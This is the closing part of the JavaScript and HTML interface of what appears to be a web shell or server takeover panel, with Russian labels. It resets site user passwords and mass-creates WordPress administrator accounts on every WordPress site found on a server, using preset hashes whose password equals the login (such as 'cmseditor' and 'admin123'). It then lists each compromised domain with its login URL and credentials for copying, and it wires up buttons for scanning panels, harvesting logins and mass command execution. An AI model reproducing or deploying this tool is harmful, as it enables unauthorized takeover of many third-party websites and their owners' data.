h.push('<input type="text" id="chgPassTarget" placeholder="/var/www/site/public_html" style="width:100%">');
h.push('<label style="margin-top:10px">Имя пользователя или email:</label>');
h.push('<input type="text" id="chgPassUsername" placeholder="admin" style="width:100%">');
h.push('<label style="margin-top:10px">Новый пароль:</label>');
h.push('<input type="text" id="chgPassNewPass" placeholder="NewPassword123!" style="width:100%">');
h.push('<div style="margin-top:15px;display:flex;gap:10px">');
h.push('<button class="btn" onclick="runChangePassword()" style="background:#a00;border-color:#a00">🔐 Сменить пароль</button>');
h.push('<button class="btn" onclick="closePentestModal()">Отмена</button>');
h.push('</div>');
h.push('</div>');
openPentestModal('🔐 Change Password', h.join(''));
} catch(e) {
alert('Error: ' + e.message);
}
}
async function runChangePassword() {
try {
var target = document.getElementById('chgPassTarget').value.trim();
var username = document.getElementById('chgPassUsername').value.trim();
var newPassword = document.getElementById('chgPassNewPass').value.trim();
if (!target || !username || !newPassword) {
alert('Заполните все поля');
return;
}
if (!confirm('Сменить пароль для пользователя "' + username + '"?')) {
return;
}
openPentestModal('🔐 Change Password', '<div style="text-align:center;padding:50px"><h3>⏳ Смена пароля...</h3></div>');
var fd = new FormData();
fd.append('csrf', csrf);
fd.append('target', target);
fd.append('username', username);
fd.append('new_password', newPassword);
var response = await fetch('?api=change_password' + dbg, { method: 'POST', body: fd });
var data = await response.json();
var h = [];
if (data.success) {
h.push('<div style="text-align:center;padding:30px">');
h.push('<h3 style="color:#0f0">✅ Пароль успешно изменён!</h3>');
h.push('<div style="margin-top:15px">');
h.push('<div><strong>Пользователь:</strong> ' + username + '</div>');
h.push('<div><strong>Новый пароль:</strong> <code style="background:#0a0a0a;padding:5px">' + data.new_password + '</code></div>');
h.push('</div></div>');
} else {
h.push('<div style="text-align:center;padding:30px">');
h.push('<h3 style="color:#f00">❌ Ошибка</h3>');
h.push('<div style="margin-top:15px;color:#fa0">' + (data.error || data.message || 'Unknown error') + '</div>');
h.push('</div>');
}
openPentestModal('🔐 Change Password', h.join(''));
} catch(e) {
openPentestModal('🔐 Change Password', '<div style="color:#f00">Ошибка: ' + e.message + '</div>');
}
}
// Массовое создание админов
async function massCreateAdmin() {
try {
var h = [];
h.push('<div style="padding:10px">');
h.push('<h4>👤 Массовое создание админов на всех WordPress сайтах</h4>');
h.push('<div class="muted small" style="margin-bottom:15px">Будет создан новый администратор на всех найденных WP сайтах</div>');
h.push('<label>Логин администратора:</label>');
h.push('<input type="text" id="massAdminLogin" value="cmseditor" style="width:100%" placeholder="cmseditor">');
h.push('<label style="margin-top:10px">Хэш пароля (WordPress phpass формат $P$B...):</label>');
h.push('<input type="text" id="massAdminPasswordHash" value="$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/" style="width:100%;font-family:monospace;font-size:11px" placeholder="$P$B...">');
h.push('<div class="small muted">Хэш должен начинаться с $P$B (WordPress phpass)</div>');
h.push('<label style="margin-top:10px">Пароль (plaintext для отображения):</label>');
h.push('<input type="text" id="massAdminPasswordDisplay" value="cmseditor" style="width:100%" placeholder="plaintext пароль">');
h.push('<div class="small muted">Этот пароль будет показан в результатах для входа</div>');
h.push('<label style="margin-top:10px">Email (опционально):</label>');
h.push('<input type="text" id="massAdminEmail" placeholder="admin@example.com (авто-генерируется если пусто)" style="width:100%">');
h.push('<fieldset style="margin-top:15px;border:1px solid var(--line);padding:10px;border-radius:8px">');
h.push('<legend style="color:#0f0">✅ Предустановленные пресеты (проверенные хэши)</legend>');
h.push('<div style="display:flex;gap:8px;flex-wrap:wrap">');
// Пресеты с готовыми хэшами
h.push('<button class="btn small" onclick="setAdminPreset(\'cmseditor\', \'$P$BPRTBfgNGzgFiZM5ktB5yhaA6rlXTI/\', \'cmseditor\')" style="background:#050">cmseditor</button>');
h.push('<button class="btn small" onclick="setAdminPreset(\'developer\', \'$P$BgP1gOjz9ZQmyKwb8jjqmNrGgL9EKd/\', \'developer\')" style="background:#050">developer</button>');
h.push('<button class="btn small" onclick="setAdminPreset(\'wpadmin\', \'$P$BYeFkpHCKnGVqLaONxXhtXUuqBfxWz.\', \'wpadmin\')" style="background:#050">wpadmin</button>');
h.push('<button class="btn small" onclick="setAdminPreset(\'admin123\', \'$P$BVnB7yk8MnmaY6dSsqgj5Q/bTMhJOX0\', \'admin123\')" style="background:#050">admin123</button>');
h.push('<button class="btn small" onclick="setAdminPreset(\'manager\', \'$P$BWcREqR4GZT/FWsZqAZ5bQ4nN8JYNL1\', \'manager\')" style="background:#050">manager</button>');
h.push('</div>');
h.push('<div class="small muted" style="margin-top:8px">Нажмите на пресет чтобы заполнить поля. Логин = пароль</div>');
h.push('</fieldset>');
h.push('<details style="margin-top:10px"><summary class="small" style="cursor:pointer;color:#aaa">📝 Как сгенерировать свой хэш?</summary>');
h.push('<div style="padding:10px;background:#0a0a0a;border-radius:4px;margin-top:5px">');
h.push('<div class="small">В WordPress или PHP выполните:</div>');
h.push('<code style="display:block;margin-top:5px;padding:5px;background:#000">wp_hash_password(\'ваш_пароль\')</code>');
h.push('<div class="small" style="margin-top:5px">Или онлайн: <a href="https://www.useotools.com/wordpress-password-hash-generator" target="_blank" style="color:#0af">WordPress Password Hash Generator</a></div>');
h.push('</div></details>');
h.push('<div style="margin-top:15px;padding:10px;background:#1a0a0a;border:1px solid #500;border-radius:8px">');
h.push('<div style="color:#f00;font-weight:bold">⚠️ ВНИМАНИЕ!</div>');
h.push('<div class="small" style="color:#fa0">Это создаст администратора на ВСЕХ найденных WordPress сайтах. Операция необратима!</div>');
h.push('</div>');
h.push('<div style="margin-top:15px;display:flex;gap:10px">');
h.push('<button class="btn" onclick="runMassCreateAdmin()" style="background:#0a0;border-color:#0a0">👤 Создать админов</button>');
h.push('<button class="btn" onclick="closePentestModal()">Отмена</button>');
h.push('</div>');
h.push('</div>');
openPentestModal('👤 Mass Admin Creation', h.join(''));
} catch(e) {
alert('Error: ' + e.message);
}
}
function setAdminPreset(login, hash, plaintext) {
document.getElementById('massAdminLogin').value = login;
document.getElementById('massAdminPasswordHash').value = hash;
document.getElementById('massAdminPasswordDisplay').value = plaintext;
}
async function runMassCreateAdmin() {
try {
var login = document.getElementById('massAdminLogin').value.trim();
var passwordHash = document.getElementById('massAdminPasswordHash').value.trim();
var passwordDisplay = document.getElementById('massAdminPasswordDisplay').value.trim();
var email = document.getElementById('massAdminEmail').value.trim();
if (!login || login.length < 3) {
alert('Логин должен быть минимум 3 символа');
return;
}
if (!passwordHash || !passwordHash.startsWith('$P$')) {
alert('Хэш пароля должен быть в формате WordPress phpass (начинаться с $P$)');
return;
}
if (!passwordDisplay) {
alert('Укажите plaintext пароль для отображения');
return;
}
if (!confirm('Вы уверены, что хотите создать админа "' + login + '" (пароль: ' + passwordDisplay + ') на ВСЕХ найденных WordPress сайтах?')) {
return;
}
openPentestModal('👤 Mass Admin Creation', '<div style="text-align:center;padding:50px"><h3>⏳ Создание админов...</h3><div class="small muted">Поиск WordPress сайтов и создание администраторов</div><div class="small muted" style="margin-top:10px">Это может занять несколько минут...</div></div>');
var fd = new FormData();
fd.append('csrf', csrf);
fd.append('login', login);
fd.append('password_hash', passwordHash);
fd.append('password_display', passwordDisplay);
if (email) fd.append('email', email);
var response = await fetch('?api=mass_create_admin' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok') {
renderMassAdminResults(data.results, login, passwordDisplay);
} else {
openPentestModal('👤 Mass Admin Creation', '<div style="color:#f00;padding:20px">Ошибка: ' + (data.message || 'Unknown') + '</div>');
}
} catch(e) {
openPentestModal('👤 Mass Admin Creation', '<div style="color:#f00;padding:20px">Ошибка: ' + e.message + '</div>');
}
}
function renderMassAdminResults(results, login, password) {
var h = [];
// Блок с учётными данными для копирования
h.push('<div style="background:#0a1a0a;border:2px solid #0a0;border-radius:8px;padding:15px;margin-bottom:20px">');
h.push('<div style="font-weight:bold;color:#0f0;margin-bottom:10px">🔑 Учётные данные для входа:</div>');
h.push('<div style="display:grid;grid-template-columns:100px 1fr auto;gap:10px;align-items:center">');
h.push('<span>Логин:</span>');
h.push('<code style="background:#000;padding:8px 12px;border-radius:4px;font-size:14px" id="resultLogin">' + login + '</code>');
h.push('<button class="btn small" onclick="navigator.clipboard.writeText(\'' + login + '\').then(function(){alert(\'Логин скопирован!\')})" style="background:#050">📋</button>');
h.push('</div>');
h.push('<div style="display:grid;grid-template-columns:100px 1fr auto;gap:10px;align-items:center;margin-top:10px">');
h.push('<span>Пароль:</span>');
h.push('<code style="background:#000;padding:8px 12px;border-radius:4px;font-size:14px" id="resultPassword">' + password + '</code>');
h.push('<button class="btn small" onclick="navigator.clipboard.writeText(\'' + password + '\').then(function(){alert(\'Пароль скопирован!\')})" style="background:#050">📋</button>');
h.push('</div>');
h.push('<div class="small muted" style="margin-top:10px">Используйте эти данные для входа в wp-admin созданных сайтов</div>');
h.push('</div>');
h.push('<div class="flex" style="margin-bottom:15px;flex-wrap:wrap;gap:10px">');
h.push('<span class="badge">Всего сайтов: ' + results.total + '</span>');
h.push('<span class="badge" style="background:#0a0">✅ Успешно: ' + results.success_count + '</span>');
h.push('<span class="badge" style="background:#a00">❌ Ошибок: ' + results.failed_count + '</span>');
h.push('</div>');
if (results.success_count > 0) {
h.push('<details class="coll" open><summary style="color:#0f0">✅ Успешно созданы (' + results.success_count + ')</summary><div>');
h.push('<table><thead><tr><th>Домен</th><th>Логин</th><th>Пароль</th><th>URL для входа</th></tr></thead><tbody>');
results.sites.filter(function(s) { return s.success; }).forEach(function(s) {
var loginUrl = s.url ? s.url + '/wp-login.php' : '#';
var adminUrl = s.url ? s.url + '/wp-admin/' : '#';
h.push('<tr>');
h.push('<td><strong style="color:#0af">' + (s.domain || 'Unknown') + '</strong><br><code class="small">' + s.path + '</code></td>');
h.push('<td><code style="background:#0a0a0a;padding:3px 6px">' + s.login + '</code></td>');
h.push('<td><code style="background:#0a0a0a;padding:3px 6px">' + s.password + '</code></td>');
h.push('<td><a href="' + loginUrl + '" target="_blank" style="color:#0f0">🔗 wp-login</a> | <a href="' + adminUrl + '" target="_blank" style="color:#0af">📁 wp-admin</a></td>');
h.push('</tr>');
});
h.push('</tbody></table>');
// Копируемый список
var successList = results.sites.filter(function(s) { return s.success; }).map(function(s) {
return (s.domain || s.path) + ' | ' + s.login + ' | ' + s.password + ' | ' + (s.url || '');
});
h.push('<details style="margin-top:10px"><summary class="small">📋 Копировать список (' + successList.length + ')</summary>');
h.push('<textarea style="width:100%;height:150px;margin-top:5px;font-family:monospace;font-size:11px;background:#0a0a0a;color:#0f0" readonly>' + successList.join('\\n') + '</textarea>');
h.push('<button class="btn small" onclick="navigator.clipboard.writeText(this.previousElementSibling.value).then(function(){alert(\'Скопировано!\')})" style="margin-top:5px">📋 Copy</button>');
h.push('</details>');
h.push('</div></details>');
}
if (results.failed_count > 0) {
h.push('<details class="coll"><summary style="color:#f00">❌ Не удалось создать (' + results.failed_count + ')</summary><div>');
h.push('<table><thead><tr><th>Домен/Путь</th><th>Причина</th></tr></thead><tbody>');
results.sites.filter(function(s) { return !s.success; }).forEach(function(s) {
h.push('<tr>');
h.push('<td>' + (s.domain || '<span class="muted">—</span>') + '<br><code class="small">' + s.path + '</code></td>');
h.push('<td style="color:#fa0">' + s.message + '</td>');
h.push('</tr>');
});
h.push('</tbody></table></div></details>');
}
h.push('<div style="margin-top:20px;padding-top:15px;border-top:1px solid var(--line)">');
h.push('<button class="btn" onclick="closePentestModal()">Закрыть</button>');
h.push('</div>');
openPentestModal('👤 Mass Admin Creation - Результаты', h.join(''));
}
// Привязка событий к новым кнопкам
if (document.getElementById('btnScanPanels')) {
document.getElementById('btnScanPanels').addEventListener('click', scanPanels);
}
if (document.getElementById('btnFindLogins')) {
document.getElementById('btnFindLogins').addEventListener('click', scanLogins);
}
if (document.getElementById('btnMassDiscover')) {
document.getElementById('btnMassDiscover').addEventListener('click', discoverDomains);
}
if (document.getElementById('btnMassExecute')) {
document.getElementById('btnMassExecute').addEventListener('click', massExecute);
}
if (document.getElementById('btnChangePassword')) {
document.getElementById('btnChangePassword').addEventListener('click', changePassword);
}
if (document.getElementById('btnMassCreateAdmin')) {
document.getElementById('btnMassCreateAdmin').addEventListener('click', massCreateAdmin);
}
// ==================== КОНЕЦ НОВЫХ ФУНКЦИЙ ====================
// initial
if (typeof presetBalanced === 'function') {
presetBalanced();
}
// Не вызываем apiScan автоматически - пользователь должен нажать кнопку
</script>
</body></html>